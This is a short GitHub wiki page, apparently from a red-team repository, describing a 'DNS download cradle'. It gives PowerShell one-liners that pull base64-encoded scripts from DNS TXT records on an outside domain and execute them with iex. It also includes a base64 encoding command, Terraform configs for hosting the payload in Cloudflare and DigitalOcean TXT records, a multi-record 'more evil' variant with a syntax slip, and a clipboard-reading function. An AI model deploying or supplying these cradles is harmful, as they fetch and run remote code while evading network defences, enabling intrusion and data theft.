DNS Download Cradle - evilmog/evilmog GitHub Wiki
Powershell
$m=(-join (resolve-dnsname -type txt txt.domain.here).strings); iex (([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m))))
base64 encode on linux
cat test.ps1 | base64 -w 0
Terraform Config for Cloudflare
resource "cloudflare_record" "ninjatxt" {
domain = "crappydomain"
name = "ms2"
value = "[encodedjunkhere]"
type = "TXT"
ttl = 300
}
Digital Ocean Terraform
resource "digitalocean_domain" "arbitrarydomain" {
name = "arbitrary.domain"
ip_address = "${digitalocean_droplet.arbitraryhost.ipv4_address}"
}
resource "digitalocean_record" "doninjatxt1" {
domain = "${digitalocean_domain.arbitrarydomain.name}"
type = "TXT"
name = "@"
value = "[insert encoded junk here]"
ttl = "300"
}
Even more evil multi record cradle
$z='';$n=1..2;ForEach ($i in $n) { $z += ((resolve-dnsname -type txt $icrapdomain.org).strings) }; iex((System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($z))))
more shenanigans
function Get-ClipboardText{
Add-Type -AssemblyName 'PresentationCore'
Write-Output ([System.Windows.Clipboard]::GetText())
}